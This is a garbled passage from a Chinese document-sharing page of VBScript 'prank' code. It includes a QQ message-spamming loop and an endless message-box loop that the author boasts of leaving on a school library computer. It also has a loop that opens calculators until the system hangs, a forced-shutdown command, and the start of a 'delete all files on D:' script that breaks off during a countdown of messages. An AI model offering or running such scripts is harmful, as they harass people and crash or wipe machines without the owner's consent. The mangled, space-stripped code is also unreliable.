vbs腳本整人代碼

1、往鏈點(diǎn)點(diǎn)通共享資源，了解更多請(qǐng)登錄一、你打開好友的聊天對(duì)話框然后記下在你QQ里好友的昵稱把下面代碼里的xx替換一下就可以自定義發(fā)送QQ信息到好友的次數(shù)(代碼里的數(shù)字10改一下即可).xx.vbs=復(fù)制代碼代碼如下:OnErrResumeNextDimwshyesetwsh=createobject(“w.shell“)fi=1to10w.sleep700wsh.AppActivate(“與xx聊天中“)wsh.sendKeys“^v“w

2、sh.sendKeysiwsh.sendKeys“%s“nextw.quitQQ騷擾信息也可以用在其它程序上。二、我就用這個(gè)程序放在學(xué)校圖書館查詢書刊的機(jī)器上，好多人都那它沒辦法，哈哈domsgbox“Youarefoolish!“l(fā)oop三、打開無(wú)數(shù)個(gè)計(jì)算器，直到死機(jī)setwsh=createobject(“w.shell“)dowsh.run“calc“l(fā)oop四、直接關(guān)機(jī)dimWSHshellsetWSHshell=w.creat

3、eobject(“w.shell“)WSHshell.run“shutdownfst00“0true五、刪除D:所有文件dimWSHshellsetWSHshell=w.createobject(“w.shell“)W.Echo(“還剩47下對(duì)，就這樣快點(diǎn)點(diǎn)！“)W.Echo(“還剩46下。你啊就是笨，要快哦，我先不打擾你工作。“)W.Echo(“還剩45下，記得要快哦！“)W.Echo(“還剩43下“)W.Echo(“還剩42下“)W

4、.Echo(“還剩41下“)W.Echo(“還剩40下“)W.Echo(“還剩39下“)W.Echo(“還剩38下“)W.Echo(“還剩37下“)W.Echo(“還剩36下“)W.Echo(“還剩35下“)W.Echo(“還剩34下“)W.Echo(“還剩33下“)W.Echo(“還剩32下“)W.Echo(“還剩30下“)W.Echo(“還剩29下“)W.Echo(“還剩28下“)W.Echo(“還剩27下“)W.Echo(“還剩2

5、6下“)W.Echo(“還剩25下“)W.Echo(“還剩24下“)W.Echo(“還剩23下“)W.Echo(“還剩22下“)W.Echo(“還剩21下“)W.Echo(“還剩20下“)W.Echo(“還剩19下“)W.Echo(“還剩18下“)W.Echo(“還剩17下“)W.Echo(“還剩16下“)W.Echo(“還剩15下“)W.Echo(“還剩14下“)W.Echo(“還剩13下停停?。?！慢點(diǎn)，我有話要說“)W.Echo(“

6、還剩12下，你繼續(xù)點(diǎn)我就會(huì)消失滴“)W.Echo(“還剩11下，以后就看不到我拉。555555“)W.Echo(“還剩10下，你現(xiàn)在可以選擇停止！“)W.Echo(“還剩9下。你還點(diǎn)啊，不要我拉？“)W.Echo(“還剩8下，有點(diǎn)傷心拉，干嘛丟棄人家“)W.Echo(“還剩7下。瘋了，你有點(diǎn)負(fù)意！“)W.Echo(“還剩6下。對(duì)。你就點(diǎn)吧，我恨你！“)W.Echo(“還剩5下，不明白，刪除我你就好嗎？“)W.Echo(“還剩4下！真要?jiǎng)h